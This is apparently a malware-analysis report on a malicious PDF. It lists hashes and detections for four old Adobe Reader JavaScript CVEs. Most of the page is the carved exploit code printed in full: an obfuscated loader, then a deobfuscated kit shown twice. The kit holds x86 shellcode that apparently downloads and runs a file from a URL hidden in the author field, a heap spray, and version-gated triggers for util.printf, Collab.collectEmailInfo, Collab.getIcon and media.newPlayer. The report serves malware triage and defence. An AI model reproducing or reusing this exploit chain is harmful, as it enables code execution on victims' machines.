Malicious PDF — malware analysis report

Static analysis result for SHA-256 debf4099244f2156…

MALICIOUS

PDF

12.2 KB Created: 2010-02-20 13:18:54 Authoring application: Farikovkehao First seen: 2026-05-10
MD5: 6f1e171d6f5e22877716a1b67175a9a9 SHA-1: 070114cc4e662ccd9b1c7a619ef3b4b2aec53628 SHA-256: debf4099244f21560ce423b6004e1e6fa5c508f24f0261636e05339e57e4c9a8
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0016_000.js pdf-javascript-stream PDF /JS object 16 at offset 0x2365 8394 bytes
SHA-256: ea00b1d86d656bb1fbe69bd3b526b524e5f295c63a57ad981a9c10c208f80b1b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 49 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var uO=new Date();var eE=false;var adobeQ=new Date();var lR=19504;var s=9753;var adobe=22447;var yY=new Function();var uGoogleY=new Date();var fileD=new String();var lU=15488;var yR=new String();var tN=new String();var fileEdit=7464;var uY=new String();var kK=new String();var jK=new String();var vS=new Function();var fileA=9573;var iM=new String();var alphaFile=new Function();var fileEditN=31795;var pB=new String();var yT=new String();var updateU=new String();var alphaAdobe=new Function();var v='get';var yM=29466;var editG=new Function();var e=29191;var vB=new Function();var basicEdit=new Function();var wAlpha=new Function();var eV=new Function();var pL=15819;var alphaZ=new Function();v+='Page';var o=new Function();var nXY=new Function();var hR=new Function();var u="4d%4df";var sB=9791;var rO=function(){};var lA=24726;var gBasicA=22621;var alphaG=32464;var updateGoogle=function(){};var rGoogle=new Date();var n='';var hO=new Date();var editD=new Date();var fileYQ=new Date();var m=new Date();var oEdit=new Date();var cU=new Date();var dBasic=new Date();var jQ=new Date();var a=[3,2][1];this.aP=11791;var editM=new String();this.iCBasic=24039;this.qQ='';var adobeHF=new String();var adobeGoogle=new String();this.tB='';var adobeAlpha=new String();this.aI=11088;this.nZ=false;this.iF='';var hAdobe=new String();this.iAA=false;var gS=new String();var cH=new String();var fileV=new String();var tBFile=new String();var lP=new String();this.basicJ=14990;var file=Function;var xE=new String();var sFF=false;var gEdit=new String();var vI=app;this.cFile=610;var adobeOM=false;this.xG=false;this.oC=false;this.adobeQN=9123;this.kD=false;this.oI=3067;var aAlpha=new String();vI=vI['doc'];var fileC=new Date();var uEH=new String();this.aAlphaUpdate=11444;var editVE=new Date();var googleC=new String();this.yE=9350;this.qA=11533;this.vP=6976;var mZ=new Date();this.fileN=25371;var oMZ=new Date();var yUpdate=new String();var dD=new Date();var iUpdate=function(){};var gT=new String();var updateV=new String();this.wQ='';this.uB=false;var aL=function(){};var basicH=new Date();var tBasic=new String();var editA=new String();var tUpdate=new String();var editGP=function(){};var iFile=new String();this.uQ='';var fS=new Date();var nJ=new Date();var updateN=v;this.editK='';var zK=new Function();var alphaEdit=new String();var lAdobe=24056;this.gW='';this.updateL='';var mX=new String();var gTQ=new Function();var xP=new Function();var updateK=new Function();var qTU=new String();var zH=new String();this.jZ='';var zD=new String();this.xK='';this.dV='';var oGoogle=new Function();var bE=5297;var lF=30516;updateN+='NthWord';this.alphaC='';var l=100;this.vDC='';this.tO=false;this.basicED='';this.basicI=false;this.uME=false;var updateVE=new Function();this.dF=false;var iWK=new String();this.cHM=12353;this.pM=20973;var jGoogleAdobe=9502;var googleAlpha=new String();var vO=false;var wV=31476;var oEditE=false;var sFCL=false;var lNO=new Function();this.updateP=16969;var yK=false;var fileFileS=new Function();var wS=new Function();var oGoogleW=new Function();var alphaPD=false;var hRH=new Function();var uS=16885;var y=v;var uFX=new String();var xXX=new String();var qH=new String();var qC=new String();var eS=new String();this.aAlphaGoogle=1403;var zT=new String();var tT=new String();var wK=new String();var xRB=new Date();y+='NumWords';var rK=new Date();var zI=new Date();var dAdobeT=28953;this.fileK=false;this.alphaUG=false;this.basicYQ='';var mU=25227;this.aR='';var aPL=false;this.mV='';var gR=false;this.basicT='';var dGoogle=28624;this.basicA=false;var nB=new Function();this.iK=false;this.mXS=false;var zBV=new Function();var aF=new Function();var pRBasic=new Function();var rRM=new Function();var iUK=new String();var nC="cape";var lAlphaK=function(){};var eIC=false;var oU=new String();this.oY=15150;var dAdobeW=false;var qB=function(){};var nJBasic=false;this.kWT=28330;var dL=new String();var fileRG=function(){};var aGUpdate=function(){};this.qQT='';var wO=function(){};this.nTJ=false;var wI=function(){};this.rOBasic='';this.kP=false;this.adobeD='';this.editB=false;this.dAdobeAlpha='';var updateNN=10599;var fB=function(){};var fJ=20053;this.jN='';var sHN=function(){};this.mD='';this.wR='';var uI=[0,1][0];var jYO=new String();var zS=new Function();var eHO=new String();this.iX=10504;this.eQ=7938;var bSC=false;var tIW=7558;var uIS=32528;var wEditS=new String();var kA=new String();var tR=new Function();var rBasicN=32763;var adobeM=false;var gY=new Function();var uE='cha'+'rCode'+'At';this.eEGoogle='';this.updateQO=588;var jUpdate='fr'+'omCharC'+'ode';this.eFile=13059;u=u.substr(2,1);var q='u';var hN=new Date();var googleUpdateT=false;this.basicAlpha=4246;var googleQ=false;var eZ=false;this.hC=10378;q+='ne';var fileJFile=new Function();var updateGN=new String();var nGoogleP=new Function();var fVE=new String();var tIWU=new String();var basicWBasic=new Function();var qUpdate=new String();q+='sca';var nJY=new Date();var rNH=27770;var mH=new Date();var alphaM=false;this.vAdobeI='';var alphaBasicT=false;this.jKB=false;var aPAlpha=new Date();var bVX=4098;this.mJEdit='';var lCI=new Date();var aRFile=false;var bUQ=22474;this.dFR='';var nDAdobe=5328;var hAlphaP=31995;var hBasicI=false;q+='pe';var jZV=new Function();var tK=new Function();this.kAlpha=5849;this.sS=30810;var gG=new Function();this.nKYEdit=17215;this.pD=27969;this.kXGoogle='';this.bFM=false;this.bCUJ=false;var uLT=function(){};var fileS=vI[q];var oYB=function(){};var mQI=new String();var zBY=false;this.yEditK=5487;this.vGE=15768;this.pS=13074;this.lNF=11068;this.vE=16984;var fileOV=function(){};var hG=function(){};var bPR=false;var lQGoogle=false;var basicAdobeAdobe=function(){};var qPC=new String();var rYW=function(){};var cS=new String();new file(fileY(1, l))();var googleI=new String();this.fileSJ=22878;var googleU=new String();var gP=new String();var editW=new Date();var fAdobeE=new Date();var pW=new Function();var oUJ=new Date();var nFileBasic=new Date();var vK=new Function();var lX=false;var tSAdobe=new Function();var vM=new Date();var rVBasic=new Function();var qPCFile=new Date();var lAdobeC=new Date();var vAlpha=29368;function fileY(d, l){var cP=function(){};var editU=19813;var qHER=function(){};var mWC=415;var kWM=false;var editCW=30466;var yKX=function(){};this.googleCP=false;var aWI=false;this.lFile='';this.lOAlpha='';var cFL=new String();this.iRI=31280;this.xPA=28906;var iOQ=new String();var qGoogleK=new String();var wKF=new String();var updateRL=new String();this.vFT='';this.sR=5942;this.googleJT='';this.adobeP=17707;var sDL=new String();this.rXV='';this.fileQ='';var adobePJ=new String();var b=vI[y](1);var bBasicGoogle=function(){};var aK=function(){};    for(var qAdobe=0; qAdobe < b; qAdobe++){this.rPEdit='';this.kO='';var hMF=function(){};this.gUpdate='';this.qXJ='';var vGoogleK=function(){};this.oR=false;this.mEF='';var updateUX=new Function();var xEEdit=function(){};this.eA=false;var adobePW=new String();kEdit=vI[updateN](d, qAdobe);var xBW=17781;var aO=5766;var gZ=28688;var rSW=12234;var fileNBasic=12340;var hWA=function(){};var dGY=false;var aDZ=29795;var dKH=32325;var fileNAdobe=16791;var hUpdate=20185;var qYQQ=12136;var vV=2658;var eSGoogle=function(){};var uGoogle=kEdit.substr(kEdit.length-a, a);var jAdobe=new Date();var mUK=new String();var uYU=false;var iI=new Function();var xGoogle=false;var gDL=new Function();var xHM=new Function();var basicKFile=new Function();var lPFile=new Date();var cUpdate=new Function();var aS=new Date();var uPS=new Function();var rZW=new Date();var dJ=fileS(u + uGoogle)[uE](uI);this.editTG=false;this.basicBasicN=13551;this.iEdit=false;var dJW=function(){};var nQY=function(){};this.aPEdit=8087;var updateWL=function(){};var adobeCW=false;this.editO=98;this.pAlpha=false;this.kT=21313;var pJH=false;var adobeJJ=false;this.sRY=false;this.vUpdateJ=11312;n+=String[jUpdate](dJ^l);this.aZQ='';}var uIAlpha=new String();var bAdobeH=new String();return n;this.uQUpdate='';this.googleSN=5306;this.wTQ='';var bGoogle=18752;var jFR=16171;this.basicUpdateAlpha=25805;var jL=21983;this.gTWGoogle='';this.yJD=14419;this.cJBasic=27372;this.fileOE=27334;var aDIQ=12880;var mAlphaZ=28682;this.fileDZ='';var fileBY=11823;this.editDY='';var wOH=6816;}this.sCX='';this.oEH='';this.basicABasic='';var eEditUpdate=new Date();var vJP=new Date();var wKAlpha=new String();this.oEditF=8600;var fYML=new Date();var alphaUAdobe=new String();
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3373 bytes
SHA-256: 4706ea46e502b850c6868ead62705f34c2c466bca680fc7404e06308a444f93c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��ɪ����������������������ʪ
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "q=Vg2v%5B6YrO?cHDK1mf:3MRyu/oNGUhAsit0dl-Xap7kLewxzJb94QISn.8j0F&WE_ZCTP";
app.alert(123);

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();
����������������������ɺ��ɪ��ɪ���������������ߪߪ��������ߪ��������ʉ���ʪ�ʪ����_tt��00������������������_tt��00
page_word_xor_stage_000.js deobfuscated-js page-word hex-tail XOR decoded JavaScript (decompressed, key=0x64) at offset 0x915 3230 bytes
SHA-256: e284e2b4c12fa2b16090dbc9921a2ded0e118aeb0428c7cd33ade779af0f94ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "q=Vg2v%5B6YrO?cHDK1mf:3MRyu/oNGUhAsit0dl-Xap7kLewxzJb94QISn.8j0F&WE_ZCTP";
app.alert(123);

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

Open this report in the interactive analyzer, or submit your own file for analysis.